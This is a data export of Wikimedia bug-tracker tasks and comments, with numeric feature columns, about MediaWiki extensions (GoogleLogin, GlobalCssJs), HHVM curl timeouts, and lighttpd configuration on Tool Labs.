+70727,Move GoogleLogin Info page from Special:GoogleLogin to Special:Preferences,"The GoogleID connected with the user is a setting, so maybe move it to preferences.
+
+--------------------------
+**Version**: master
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=68726",Needs Triage,90.0,1406548200,1407709383.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-tgcuv63wiphesksptieg,task_description,resolved,True,c3,1,True,False,True,-49,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+309537,Move GoogleLogin Info page from Special:GoogleLogin to Special:Preferences,"Change 152988 merged by jenkins-bot:
+Add info about GoogleLogin to Special:Preferences
+
+https://gerrit.wikimedia.org/r/152988",,,1407708662,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgcuv63wiphesksptieg,task_subcomment,,True,c3,1,False,,,-47,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+309533,Move GoogleLogin Info page from Special:GoogleLogin to Special:Preferences,"Change 152988 had a related patch set uploaded by Florianschmidtwelzow:
+Add info about GoogleLogin to Special:Preferences
+
+https://gerrit.wikimedia.org/r/152988",,,1407534049,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgcuv63wiphesksptieg,task_subcomment,,True,c3,1,False,,,-47,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+70614,Install lighttpd binary mod_magnet.so,"**Author:** `metatron`
+
+**Description:**
+Current Lighttpd seems to be compiled with lua-support option ( --with-lua), but mod_magnet.so is missing.
+
+Pls install/add mod_magnet.so
+
+Refs:
+http://redmine.lighttpd.net/projects/lighttpd/wiki/Docs_ModMagnet
+
+(plugin.c.169) dlopen() failed for: /usr/lib/lighttpd/mod_magnet.so /usr/lib/lighttpd/mod_magnet.so: cannot open shared object file: No such file or directory 
+
+@tools-webgrid-04:~$ lighttpd -V
+lighttpd/1.4.28 (ssl) - a light and fast webserver
+Build-Date: Dec 20 2011 14:36:55
+
+Event Handlers:
+
+        + select (generic)
+        + poll (Unix)
+        - rt-signals (Linux 2.4+)
+        + epoll (Linux 2.6)
+        - /dev/poll (Solaris)
+        - kqueue (FreeBSD)
+        - libev (generic)
+
+Network handler:
+
+        + sendfile
+
+Features:
+
+        + IPv6 support
+        + zlib support
+        + bzip2 support
+        + crypt support
+        + SSL Support
+        + PCRE support
+        + mySQL support
+        + LDAP support
+        + memcached support
+        + FAM support
+        + LUA support
+        + xml support
+        + SQLite support
+        + GDBM support
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1406382360,1406804894.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-3essaaxdpxalfpsfklqp,task_description,resolved,True,c3,1,False,False,True,-49,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,1,0,1,0,0,0
+316768,Install lighttpd binary mod_magnet.so,"Change 150712 merged by coren:
+webnode.pp: Install LUA support for lighttpd (lighttpd-mod-magnet)
+
+https://gerrit.wikimedia.org/r/150712",,,1406765751,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3essaaxdpxalfpsfklqp,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+316762,Install lighttpd binary mod_magnet.so,"Change 150712 had a related patch set uploaded by Hedonil:
+wenode.pp: Install LUA support for lighttpd (lighttpd-mod-magnet)
+
+https://gerrit.wikimedia.org/r/150712",,,1406758183,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3essaaxdpxalfpsfklqp,task_subcomment,,True,c3,1,False,,,-49,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+316755,Install lighttpd binary mod_magnet.so,"**metatron** wrote:
+
+There's even a package for this
+
+http://packages.ubuntu.com/precise/lighttpd-mod-magnet",,,1406383477,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3essaaxdpxalfpsfklqp,task_subcomment,,True,c3,1,False,,,-49,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+70521,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"My global JS is being loaded at
+http://meta.wikimedia.beta.wmflabs.org/wiki/Special:Preferences
+http://meta.wikimedia.beta.wmflabs.org/wiki/Special:UserLogin
+http://deployment.wikimedia.beta.wmflabs.org/w/index.php?title=Special:Preferences
+http://deployment.wikimedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin
+
+This does not happens with common.(js|css) and skin specific (js|css).
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+* {T24929}
+* {T50931}
+* {T73007}",Needs Triage,90.0,1406226360,1412212179.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-xmkotizdsy6vs2rpqiep,task_description,resolved,True,c3,1,False,False,True,-49,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+312401,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],This is fixed with the patch applied in bug 70672.,,,1411752131,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,True,,,-40,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+312393,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"(In reply to Kunal Mehta (Legoktm) from comment #10)
+> Okay, I can confirm my global CSS is being loaded, but not JS.
+> Investigating...
+
+See bug 70672.",,,1410375013,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,True,,,-43,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+312387,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"Okay, I can confirm my global CSS is being loaded, but not JS. Investigating...",,,1410372865,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,True,,,-43,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+312381,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"I can't reproduce right now, but moving to the security component just in case.",,,1410372636,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,True,,,-43,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+312377,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"On
+https://meta.wikimedia.org/wiki/Special:Preferences#mw-prefsection-rendering
+I get this in the console (on Firefox):
+> mw.loader.getState('ext.globalCssJs.user') === ""registered""
+> true
+and
+https://bits.wikimedia.org/meta.wikimedia.org/load.php?debug=false&lang=pt&modules=ext.globalCssJs.user&only=styles&skin=vector&user=Helder.wiki&version=20140826T153947Z&*
+is still loaded.",,,1410372607,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,False,,,-43,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+312372,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],My global CSS is loaded on Special Preferences (both on Meta and other wikis).,,,1410372314,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,False,,,-43,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+312367,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"Change 150442 merged by jenkins-bot:
+Use OutputPage::addModuleStyles/Scripts to add modules
+
+https://gerrit.wikimedia.org/r/150442",,,1406680396,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,False,,,-49,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+312362,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"Change 150442 had a related patch set uploaded by Legoktm:
+Use OutputPage::addModuleStyles/Scripts to add modules
+
+https://gerrit.wikimedia.org/r/150442",,,1406679858,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,False,,,-49,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+312357,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"Change 149185 had a related patch set uploaded by Legoktm:
+Check whether TYPE_COMBINED modules are allowed to be included in the page
+
+https://gerrit.wikimedia.org/r/149185",,,1406243138,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,False,,,-49,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+312354,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"https://github.com/wikimedia/mediawiki-core/blob/master/includes/OutputPage.php#L2726 isn't checking TYPE_COMBINED, which our global user module is using.",,,1406232004,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,True,,,-49,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0
+312350,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"OutputPage::makeResourceLoaderLink should handle this properly, I'm looking into why it isn't.",,,1406227233,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,True,,,-49,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+312346,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"The fix would probably be similar to
+https://www.mediawiki.org/wiki/Special:Code/MediaWiki/64670",,,1406227159,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,False,,,-49,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+70489,"When using hhvm, CurlHttpRequest::execute times out","**Author:** `neilk`
+
+**Description:**
+Bug noted on Mac OS X 10.9.3, using Vagrant 1.6.3 and Virtualbox 4.3.12. As per the standard vagrantfile, it was using a static IP and nfs.
+
+Many things in MediaWiki require it to make calls to external APIs. It seems that when hhvm is on, CurlHttpRequest::execute always times out. I noticed this with uploads particularly. 
+
+Enabling the zend role fixed the problem, so it seems to be specific to hhvm.
+
+
+Problems that I noticed:
+
+* when using instantCommons, uploads always time out. The reason is because MediaWiki is checking to see if the upload is already on Commons, and the request times out.
+
+* when using UploadWizard (or other upload-by-url pages) to get files from Flickr, the request always times out, because Flickr API requests are timing out.
+
+
+To see this behavior:
+
+$ vagrant enable-role hhvm
+
+$ vagrant enable-role uploadwizard
+
+If change 148505 (https://gerrit.wikimedia.org/r/#/c/148505/) hasn't landed yet, make sure to add the following to your LocalSettings, to allow the kinds of uploads I mentioned.
+
+    $wgInstantCommons = true;
+    $wgAllowCopyUploads = true;
+    $wgGroupPermissions[""*""][""upload_by_url""] = true;
+
+Then, you can try using UploadWizard to:
+
+- Upload any image file
+- Upload any file from an appropriately licensed Flickr URL (https://www.flickr.com/photos/brevity/10423091326/ is fine; if you need more use the advanced search to find CC-BY and CC-BY-SA files).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Mac OS X 10.9
+**Platform**: Macintosh",Needs Triage,90.0,1406158680,1406771140.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-7zunujh5d7g75ztch3le,task_description,invalid,True,c3,1,False,False,True,-50,True,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,1,1,0,0,0,1,0,1,1,0,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+310902,"When using hhvm, CurlHttpRequest::execute times out","**neilk** wrote:
+
+I don't think so - when it was failing for me the remote API requests would never complete, whether to Commons or to Flickr. Even if I left them for 15 minutes, and verified the APIs returned in seconds from the same computer, when not within the hhvm mediawiki-vagrant.
+
+This was clearly a network or file descriptor issue of some kind. I can't figure out what, though.",,,1406815736,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7zunujh5d7g75ztch3le,task_subcomment,,True,c3,1,False,,,-48,True,1,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+310898,"When using hhvm, CurlHttpRequest::execute times out","(In reply to Neil Kandalgaonkar from comment #2)
+> I created a new hhvm MediaWiki-vagrant from scratch. Now I can't reproduce
+> it either. 
+
+You may not have been mistaken about the curl timeout problem. We merged a change (Ib36ecadf6b34420be82e425fcb3f7d322991edd6) no too long ago that added a higher than default timeout to help with Composer downloads.",,,1406783790,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-7zunujh5d7g75ztch3le,task_subcomment,,True,c3,1,True,,,-48,True,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1
+310895,"When using hhvm, CurlHttpRequest::execute times out","**neilk** wrote:
+
+I created a new hhvm MediaWiki-vagrant from scratch. Now I can't reproduce it either. 
+
+I do know that switching from hhvm to zend in my other instance solved the problem immediately. Perhaps it had something to do with Vagrant re-provisioning the box.
+
+Sorry for wasting your time.",,,1406771140,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7zunujh5d7g75ztch3le,task_subcomment,,True,c3,1,False,,,-48,True,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+310890,"When using hhvm, CurlHttpRequest::execute times out","I couldn't reproduce it (tried provisioning with latest vagrant revision). If it still fails for you, could you check which request exactly is failing and narrow it down to a shorter minimum repro code?",,,1406240010,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-7zunujh5d7g75ztch3le,task_subcomment,,True,c3,1,True,,,-49,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,1,1,0
+70431,Update lighttpd default settings,"**Author:** `metatron`
+
+**Description:**
+According to:
+https://wikitech.wikimedia.org/wiki/Nova_Resource:Tools/Help/Performance#Webservice_stalling.2C_OOM_or_otherwise_unresponsive
+
+I'm going to submit a patch, but would like to test it on one webgrid node in advance (preferred tools-webgrid-04)
+https://tools.wmflabs.org/paste/view/763db0fb
+
+Additional:
+Is  /usr/bin/webservice script puppetized?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1406108580,1407996546.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_description,resolved,True,c3,1,False,False,True,-50,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0
+320565,Update lighttpd default settings,"Change 148977 merged by coren:
+webservice: Enable individual memory limits
+
+https://gerrit.wikimedia.org/r/148977",,,1406226573,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-49,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+320560,Update lighttpd default settings,"Change 148977 had a related patch set uploaded by Tim Landscheidt:
+webservice: Enable individual memory limits
+
+https://gerrit.wikimedia.org/r/148977",,,1406222632,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-49,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+320554,Update lighttpd default settings,"Change 148977 had a related patch set uploaded by Hedonil:
+webserviće: Bug: 68431, Bug: 68499 - allow setting individual tools memory limits via config files in /data/project/.system/config - create blank .lighttpd.conf, if it doesn't exist
+
+https://gerrit.wikimedia.org/r/148977",,,1406195922,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-49,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+320548,Update lighttpd default settings,"Change 148662 merged by coren:
+lighttpd-starter: Update default settings to overcome some issues - set server.event-handler = ""linux-sysepoll"" - increase server.max-connections = 300 - remove lighttpd worker processes - make php-fcgi handler optional
+
+https://gerrit.wikimedia.org/r/148662",,,1406151378,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-50,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0
+320543,Update lighttpd default settings,"Change 148637 abandoned by coren:
+lighttpd-starter: Update default settings to oversome some issues. Bug: 68431 hange-Id: I17ef551fd75dabb60c5c47b42eb7644109acad29i
+
+Reason:
+This was superseded with another patch.
+
+https://gerrit.wikimedia.org/r/148637",,,1406148025,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-50,True,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+320537,Update lighttpd default settings,"Change 148662 had a related patch set uploaded by Tim Landscheidt:
+lighttpd-starter: Update default settings to overcome some issues
+
+https://gerrit.wikimedia.org/r/148662",,,1406134563,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-50,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+320533,Update lighttpd default settings,"**metatron** wrote:
+
+Thanks.",,,1406127351,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-50,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+320530,Update lighttpd default settings,"Change 148662 had a related patch set uploaded by Hedonil:
+lighttpd-starter: Update default settings to overcome some issues. Bug: 68431 updated parameters moved default php to if condition
+
+https://gerrit.wikimedia.org/r/148662",,,1406125933,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-50,True,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+320525,Update lighttpd default settings,"Change 148660 abandoned by Hedonil:
+lighttpd-starter: Update default settings to overcome some issues. Bug: 68431 moved default php to if condition
+
+Reason:
+mismatch
+
